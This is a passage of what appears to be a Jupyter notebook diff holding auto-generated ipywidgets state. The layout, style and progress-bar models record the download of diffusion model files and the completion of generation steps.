+ "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "659bd00aed7f4a41a843432966a1ccbf": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_274e736175d34926a0c614192288e510", + "IPY_MODEL_a266a0d0bdde4a3aa09fec6a0a00abed", + "IPY_MODEL_f78f911cd0ac4cdc8fdcbcb29f1a201b" + ], + "layout": "IPY_MODEL_9e0fde0538f84469bd62e9ea9f589b4f" + } + }, + "665a3a25e6d543d79e2e321aec4954aa": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "66a8f48777064cab94ebdfb44044fec7": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "67e1ee8ac39743d2a50db01595591f22": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_58bccc7add0a45d8b8640c42d89a864c", + "max": 13, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_b4209eed23cb45038a5c614bfe8bf3b6", + "value": 13 + } + }, + "682dc899e5ee4e24a9c0f1fc928fea6c": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_1ae88e18373a4322bddf0e51e5460a89", + "placeholder": "​", + "style": "IPY_MODEL_9b2140d07da744348068f013152b1160", + "value": " 75/75 [00:21<00:00, 3.37it/s]" + } + }, + "6a72b26cbdf041e7a8331fdc1642dee5": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "6c32232cfb734ac3a3204a22c414fc18": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_7a4e5fdddcd34b6cb658b94db24ba474", + "max": 1893675621, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_e6942466051e4a6a97c36b56d8d4e0c2", + "value": 1893675621 + } + }, + "6d0c44b7df564b87a2a688d770188184": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_502d0b0ef4c549b485c049a2dae9b4f1", + "IPY_MODEL_67e1ee8ac39743d2a50db01595591f22", + "IPY_MODEL_419cb861b6e84999a3708fd19b0295c6" + ], + "layout": "IPY_MODEL_fcc7b1147ad94a01ae49b4268e85d310" + } + }, + "6f1c7458863047598f98861765f325dd": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "72fc113c125648538df5059fb578ae19": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_9ba492d205294bc0a8d07985ed271358", + "placeholder": "​", + "style": "IPY_MODEL_0a49275d970741f9b19f24569b80491a", + "value": " 221M/221M [00:03<00:00, 63.9MB/s]" + } + }, + "76fd2fe6247a48b7b3a6cc6eef8c9fa7": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_29da49469545454997e755839f8c156d", + "IPY_MODEL_58aa60b3b1af45d2bdd8870dedd3cb67", + "IPY_MODEL_f931d10a75ab4aafb1d6b92a0ba622b3" + ], + "layout": "IPY_MODEL_b67319578dc84245ad16cb8d25d3173c" + } + }, + "795329002e034ec4aead224cf74ea361": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "7a4e5fdddcd34b6cb658b94db24ba474": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "7a9ce1cc3d71457797b0b1ca2831d514": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "7ad5acf646b44af2a1d8558abbb59199": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_7cc78829c6b744c380f52af44b49802a", + "placeholder": "​", + "style": "IPY_MODEL_03856828685f4f9791a0c00f9b4f5ed5", + "value": " 982/982 [00:00<00:00, 17.1kB/s]" + } + }, + "7c5bcff9ea9344dca52dbaa4a6545b50": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "7cc78829c6b744c380f52af44b49802a": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "7cdde9f1b0f1403ababc0e3e120617c4": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_238d055bf5ff4891b2e9c6aa28a89fad", + "max": 485, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_66a8f48777064cab94ebdfb44044fec7", + "value": 485 + } + }, + "7d3baaa3ab784895a59534261f43ce7d": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "80aad8d6ac1b4b7780cd63deed9ceb11": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_0fcb664708324ec1bc56c4daa4a2dd15", + "IPY_MODEL_37e24969e35c4099933ab57fac8b2599", + "IPY_MODEL_efb86ed04a0d477794e70dc92219399b" + ], + "layout": "IPY_MODEL_3672f34ff79b417abb390592a3b9ed2b" + } + }, + "818b00fb8ff04eadb9ccd1bdfe192807": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_aea53b42c35947c58d2c113bd2043078", + "placeholder": "​", + "style": "IPY_MODEL_02ce6e12de0f4ff1ab8029cf16e5fb99", + "value": "Downloading (…)cheduler_config.json: 100%" + } + }, + "824b0b410fed4ea1b5bc7f88236fc3e8": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_c5f787d7f16542baa5a5657c3ecb14a0", + "placeholder": "​", + "style": "IPY_MODEL_be0a3bc217b04b2dbd06a90141c0dd35", + "value": " 75/75 [00:20<00:00, 3.66it/s]" + } + }, + "8384173365364cd5996018a775b167e2": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "895dd88b169e4688a51873bb1b3d2cd9": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "8b24a6ee676942ddaa27f44902ef2ac5": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_c081010577e7490eae450d69b0458a74", + "placeholder": "​", + "style": "IPY_MODEL_d011d28093544ae692f90a7380908275", + "value": "Downloading (…)440/unet/config.json: 100%" + } + }, + "8d91958b962649479d9d85927ea0e3e0": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_2f1c260b17204c08870bac68408944c4", + "IPY_MODEL_9f17b8692b824c0cb9a98cea381699a9", + "IPY_MODEL_9a8c5af4272b4da0ba4aafa4da89817b" + ], + "layout": "IPY_MODEL_e04b95f508b7431c9f4ee9159e3b5b13" + } + }, + "8dd862f24b164fc68664c30b3d241e62": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "8f487d06f9834f1b8dd0a63ffec62436": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "90c7965cfde540158d9e7cb049c2d7d3": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "91f32130b9fc47ceaae99521c0b70015": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "9a8c5af4272b4da0ba4aafa4da89817b": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_417a14ed83ba4535bf47a39b9298aa4f", + "placeholder": "​", + "style": "IPY_MODEL_c797a3a49d1d44598e8810817eac04f6", + "value": " 525k/525k [00:00<00:00, 2.19MB/s]" + } + }, + "9af01c4399c74223b5d7f94bd48d6952": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "9b2140d07da744348068f013152b1160": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "9ba492d205294bc0a8d07985ed271358": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "9c01417376444eed820394ef843c0be3": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "9c2ff534109548fc8cab92f3b0aefc71": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_e417a487b9ab44d68bf5d4155f4ff339", + "IPY_MODEL_ce0bc6a269b841e59b3c1b00796b8605", + "IPY_MODEL_b014fb9554fb4f61a8d44135a6ad4954" + ], + "layout": "IPY_MODEL_c30445a77e81411bbad4f90b8c54bc35" + } + }, + "9c741e36450b4c66875df9dc3ba07507": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_cd9c9d32567f4e5aa9291f66b08490bf", + "IPY_MODEL_c4995db7a62844b4a00daaf55847cabd", + "IPY_MODEL_72fc113c125648538df5059fb578ae19" + ], + "layout": "IPY_MODEL_3943882166bb4470a800d9563f9e53a2" + } + }, + "9e0fde0538f84469bd62e9ea9f589b4f": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "9e5ef9fe15314ce3bf13e61994851485": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "9ecd3535823549bbbcbf3f131704d3eb": { + "model_module": "@jupyter-widgets/controls", + 